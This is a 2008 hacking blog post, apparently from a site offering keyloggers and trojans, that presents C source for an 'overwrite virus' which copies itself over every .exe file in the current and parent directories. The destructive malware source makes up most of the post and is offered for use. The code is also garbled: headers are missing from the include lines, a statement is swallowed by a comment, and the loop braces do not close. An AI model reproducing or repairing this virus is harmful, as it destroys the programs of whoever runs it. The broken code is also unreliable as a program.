Your Ad Here

We have moved to http://access-xperia.blogspot.com

ATX If you are this blogs reader, I encourage you to visit and join ATX. This blog will not be discontinued but all the recent updates will be on ATX. ATX brings you a more exciting look, more premium software for free and ofcourse a chance to win invitations of some selected sites.

Visit and readACCESS THE XPERIA

Resource site of Computer software, Phone application, E-books, Programming codes, yahoo tools, tutorials, hacking tools, keylogger, trojan, hacking, MP3 and much more. ::CORE™::

Monday, October 20, 2008

C++ Virus 2

It is a overwrite virus written ic C .When u run this program ,the program will overwrite all the exe files present in the current directory and the parent directory

#include 
#include 
#include 
void main(int argc,char *argv[]) 
{
 int bytes,i,done; 
FILE *virus,*host; 
struct ffblk *f; 
char buffer[512]; 
do 
{  
done=findfirst("*.exe",f,0);  
while(!done)  
{   
virus=fopen(argv[0],"rb");
//open the virus in read mode   host=fopen(f->ff_name,"rb+");
//open the host file in r/w mode     
for(;
fread(buffer,512,1,virus)==1;)     
fwrite(buffer,512,1,host);   
fclose(host); 
  fseek(virus,0,0);
//points to begining of virus   
printf("infecting %s  ",f->ff_name);   
done=findnext(f);  
 } 
while(!chdir("..")); 
printf("©2008-09 ACCESS THE XPERIA™ --Source codes world--");

0 comments:

Post a Comment | Feed

Post a Comment



Related Posts with Thumbnails
 

Featured

Widget by Blog Godown

Popular

Center of Reverse Engineering™ Copyright © 2009 Premium Blogger Dashboard Designed by SAER

ss_blog_claim=982832c1e8ace00c1392e8b9a7a4bbfd ss_blog_claim=982832c1e8ace00c1392e8b9a7a4bbfd